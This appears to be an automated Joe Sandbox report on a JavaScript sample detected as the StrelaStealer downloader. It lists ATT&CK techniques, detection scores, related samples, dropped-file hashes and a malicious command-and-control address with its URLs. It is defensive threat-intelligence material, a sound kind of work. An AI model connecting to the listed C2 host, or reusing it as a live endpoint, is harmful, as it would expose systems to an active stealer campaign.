Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2640024673100216355.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2640024673100216355.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2190791733.000001FD6BBD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3423569768.000001FD6BE00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2191744086.00000146F8478000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191744086.00000146F84D1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191744086.00000146F849D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2191744086.00000146F84AA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/.	net.exe, 00000007.00000002.2191744086.00000146F84AA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588303
Start date and time:	2025-01-10 23:43:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2640024673100216355.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.23.197.184, 199.232.210.172, 2.16.168.107, 2.16.168.105, 13.107.246.45, 34.237.241.83, 20.109.210.53, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:44:40	API Interceptor	24x Sleep call for process: powershell.exe modified
17:44:44	API Interceptor	1x Sleep call for process: net.exe modified
17:44:44	API Interceptor	2x Sleep call for process: svchost.exe modified
17:44:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28137108151929013281.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16981299741734811290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263369620522478
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH04:9JZj5MiKNnNhoxuB
MD5:	709CC83353D3132C12E09D3131BF7D5E
SHA1:	AD175ABDDC6172F2F4A8D309FB07CAA0094F3512
SHA-256:	7987B159D15F1A24800FBD4C15B5EE457613E682569B1FDC7337866873A3249A
SHA-512:	A7B0160B481E2684F2756E63F95E6230E59771DBC1D642F5F30FA831AE76420FBF9ABE1B50DCBF0F8145432EAA4048C6DA4D4CB27E69D117F7558B15E47AF508
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x72f50018, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555912278185601
Encrypted:	false
SSDEEP:	1536:A/ASB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kA:A/AazaSvGJzYj2UlmOlOL
MD5:	8C4F127DDA1F541EFBBC1D17A96ECCCE
SHA1:	E973F120750E902147E08EFA1DCDBF5FD21227AC
SHA-256:	60EC07E003D30A70007396175413AE4F9957DB7349241CBF4FD38A399C4B6F5F
SHA-512:	D7644767BC1C7680AB983A0D764FA77295E3CDB21FE573357726BC635700BCFF7C823CAA8A48BA53898BA74880E94885BAD3CEE7831A69186A6EF1168A847146
Malicious:	false
Preview:	r...... .......7.......X\...;...{......................0.e......!...{?.,,...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................`C,,...}.................C...,,...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07941244324386751
Encrypted:	false
SSDEEP:	3:KUYe+/EwcGuNaAPaU1ls/MYpb//olluxmO+l/SNxOf:xziBuNDPaU0DAgmOH
MD5:	722CA76FD0467D0D6DC60678B1493FFB
SHA1:	B232796FC97E7B8BBBF3CAADD7EF8FA465C9D9DC
SHA-256:	61A74270D9E6CC5C8701E41069F238657AFCD52055F5D224EE05F87288EE0CF3
SHA-512:	E22209989F8B807D0D73D8739035606E00F88E832989DAF3B8BB456FF491807BCB48F810445D163F959999D07403FBC4B85D4FBB8B546729403A242D51F54F57
Malicious:	false
Preview:	8L.......................................;...{..,,...}...!...{?..........!...{?..!...{?..g...!...{?.................C...,,...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.1936473319535335
Encrypted:	false
SSDEEP:	6:iO4Q/M+q2PN72nKuAl9OmbnIFUtSQ6dXZmwsQ6dqMVkwON72nKuAl9OmbjLJ:7RM+vVaHAahFUtadX/kdqMV5OaHAaSJ
MD5:	92D84A3B28DDA04C594B6236DB35E14A
SHA1:	F797475C74E87CF4A25EC46458F991777D80C316
SHA-256:	715254B000A911F5453F94B44AF784349319E35EBF7D992C24E92287B81B5816
SHA-512:	DB91527E79D7948C816E7E095F84A80794EE113DB7F51B745F11E97273B5EA2956C8D0B7F15AA3E100BE42B24B2D61D7621EC7613D109C6AD8A7EBD1010297D5
Malicious:	false
Preview:	2025/01/10-17:44:44.060 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:44:44.091 198c Recovering log #3.2025/01/10-17:44:44.091 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.1936473319535335
Encrypted:	false
SSDEEP:	6:iO4Q/M+q2PN72nKuAl9OmbnIFUtSQ6dXZmwsQ6dqMVkwON72nKuAl9OmbjLJ:7RM+vVaHAahFUtadX/kdqMV5OaHAaSJ
MD5:	92D84A3B28DDA04C594B6236DB35E14A
SHA1:	F797475C74E87CF4A25EC46458F991777D80C316
SHA-256:	715254B000A911F5453F94B44AF784349319E35EBF7D992C24E92287B81B5816
SHA-512:	DB91527E79D7948C816E7E095F84A80794EE113DB7F51B745F11E97273B5EA2956C8D0B7F15AA3E100BE42B24B2D61D7621EC7613D109C6AD8A7EBD1010297D5
Malicious:	false
Preview:	2025/01/10-17:44:44.060 198c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:44:44.091 198c Recovering log #3.2025/01/10-17:44:44.091 198c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.157019816900959
Encrypted:	false
SSDEEP:	6:iO4QQKMq2PN72nKuAl9Ombzo2jMGIFUtSQQVUZmwsQQWmhkwON72nKuAl9Ombzos:7aKMvVaHAa8uFUtwi/Op5OaHAa8RJ
MD5:	E2157273DC9830621E60ECAB6BC7BB1C
SHA1:	C66D6A0125CC06219BAB20F31326FB22BFBEF804
SHA-256:	487F40053E7019B96BE70A6D991F848C908C78FF48C1C695DAF683E9CA57B3A8
SHA-512:	CC7BCBD8CC8E0E54650E95C55166BE3D10A8A69D5D8889646EB60AA2A7E211141A2B5C0921B71E49FCCC9AE06AD0D89745BEEA139FF78389A6355E4E8E587214
Malicious:	false
Preview:	2025/01/10-17:44:44.179 904 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:44:44.180 904 Recovering log #3.2025/01/10-17:44:44.181 904 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.157019816900959
Encrypted:	false
SSDEEP:	6:iO4QQKMq2PN72nKuAl9Ombzo2jMGIFUtSQQVUZmwsQQWmhkwON72nKuAl9Ombzos:7aKMvVaHAa8uFUtwi/Op5OaHAa8RJ
MD5:	E2157273DC9830621E60ECAB6BC7BB1C
SHA1:	C66D6A0125CC06219BAB20F31326FB22BFBEF804
SHA-256:	487F40053E7019B96BE70A6D991F848C908C78FF48C1C695DAF683E9CA57B3A8
SHA-512:	CC7BCBD8CC8E0E54650E95C55166BE3D10A8A69D5D8889646EB60AA2A7E211141A2B5C0921B71E49FCCC9AE06AD0D89745BEEA139FF78389A6355E4E8E587214
Malicious:	false
Preview:	2025/01/10-17:44:44.179 904 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:44:44.180 904 Recovering log #3.2025/01/10-17:44:44.181 904 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7563a507-6e45-412c-b766-9a8c2dff2176.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.969428475986494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqF9sBdOg2H1icaq3QYiubcP7E4T3y:Y2sRdsI+dMH1t3QYhbA7nby
MD5:	F8F1661C462D978D47064CE94B5B0FE3
SHA1:	BA88CAC40EBB74432E970F455C11FF9B6C035DE7
SHA-256:	1114855E2AF1B16F37F7AA6C15F89E38AC0B8FE902FB539102335C2A60F15FF6
SHA-512:	E41223D1413689CE0A4AAB4B67973D7DEEF264A00E7241C41DAADE55A029CE10DC4FCE08BAC3C77518BA06FC8612EB02C78A8305F34B8AC182CC3628094AA155
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109095831038","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":321457},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969428475986494
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqF9sBdOg2H1icaq3QYiubcP7E4T3y:Y2sRdsI+dMH1t3QYhbA7nby
MD5:	F8F1661C462D978D47064CE94B5B0FE3
SHA1:	BA88CAC40EBB74432E970F455C11FF9B6C035DE7
SHA-256:	1114855E2AF1B16F37F7AA6C15F89E38AC0B8FE902FB539102335C2A60F15FF6
SHA-512:	E41223D1413689CE0A4AAB4B67973D7DEEF264A00E7241C41DAADE55A029CE10DC4FCE08BAC3C77518BA06FC8612EB02C78A8305F34B8AC182CC3628094AA155
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381109095831038","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":321457},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.248746369282959
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7tPc:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzh6
MD5:	02FBF0D00F72267D1D3B2AC517553B3F
SHA1:	E5AC95F6195683654FE213C37C1252EFF905566C
SHA-256:	BA430B9A549ACF1F7B24B1CC413D1E3402352885D8A50D02EB3E8BE31AF6F851
SHA-512:	98279A934760C8B7E157DDB0EA89EB15CF5DB2B7CD67D68C47CBC1FDED1CE0C9E484A451603426D1B6936612B92370CF82265338EB9B33ED30CC731F30A990E4
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.152210155982845
Encrypted:	false
SSDEEP:	6:iO4QQ2YOq2PN72nKuAl9OmbzNMxIFUtSQQ0UZmwsQQ0UkwON72nKuAl9OmbzNMFd:7VvVaHAa8jFUtrU/pU5OaHAa84J
MD5:	C013BECE589D791B5201D881BF1A1EAE
SHA1:	59D76DA0FDC6F955E490381CACAC6F24ADDFA573
SHA-256:	ECD8A98743AAE784E005BC812BEAC343FF490FA0077C439E3A1FD37B90A1E8FE
SHA-512:	B1296B6D760559F66DFC3566961FE08F3040E7E7C517C5A2DA155D2E112F2BCAA4C71F195E03A1E9F99B2EEFCA35FBE3C7BBE5691DA618333699A869AFBF5BC2
Malicious:	false
Preview:	2025/01/10-17:44:44.297 904 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:44:44.299 904 Recovering log #3.2025/01/10-17:44:44.299 904 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.152210155982845
Encrypted:	false
SSDEEP:	6:iO4QQ2YOq2PN72nKuAl9OmbzNMxIFUtSQQ0UZmwsQQ0UkwON72nKuAl9OmbzNMFd:7VvVaHAa8jFUtrU/pU5OaHAa84J
MD5:	C013BECE589D791B5201D881BF1A1EAE
SHA1:	59D76DA0FDC6F955E490381CACAC6F24ADDFA573
SHA-256:	ECD8A98743AAE784E005BC812BEAC343FF490FA0077C439E3A1FD37B90A1E8FE
SHA-512:	B1296B6D760559F66DFC3566961FE08F3040E7E7C517C5A2DA155D2E112F2BCAA4C71F195E03A1E9F99B2EEFCA35FBE3C7BBE5691DA618333699A869AFBF5BC2
Malicious:	false
Preview:	2025/01/10-17:44:44.297 904 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:44:44.299 904 Recovering log #3.2025/01/10-17:44:44.299 904 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444846863114718
Encrypted:	false
SSDEEP:	384:ye6ci5t9iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mWs3OazzU89UTTgUL
MD5:	4AEF2A0F9D0052F86079A689B5B6353A
SHA1:	187970310217891025ECEB8E6E19BBF957FA27A9
SHA-256:	D07A1AAC59029D09D12B048EAE42FB47E69D51F2F3F4B32A32E1763F1A827A76
SHA-512:	B8748A9CEB254023551C8BBBEFC71CE1AAF9DDD8B1AEBE7CDF51DD48F53927A483BF321CA6B370E4B231F5FE0D03748C910E2D5892F47D714A58ADBC7909AC39
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.769966503176631
Encrypted:	false
SSDEEP:	48:7MiJioyV6ioyQoy1C7oy16oy1oKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O/:79Ju6AvXjBi3b9IVXEBodRBkk
MD5:	5B9B6BE9516F1B96954CB1377FDB8C84
SHA1:	EAA8DFACD2C2029D80075FC5E43E6A7E88BD953F
SHA-256:	1F6CC4C7ADB381AFA41866F403841DB5D665196FD4592E54A38F9E17E2D724D2
SHA-512:	B2EF04C7628BBC7F6BB947D19F337F30E9208D3D4ABE9DD8771868E9816700703ED0E3EB17667FC9BB2894FE3F161B4DC76A35E55D4E385FB3BFBF5D57AFDB1F
Malicious:	false
Preview:	.... .c.....#..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
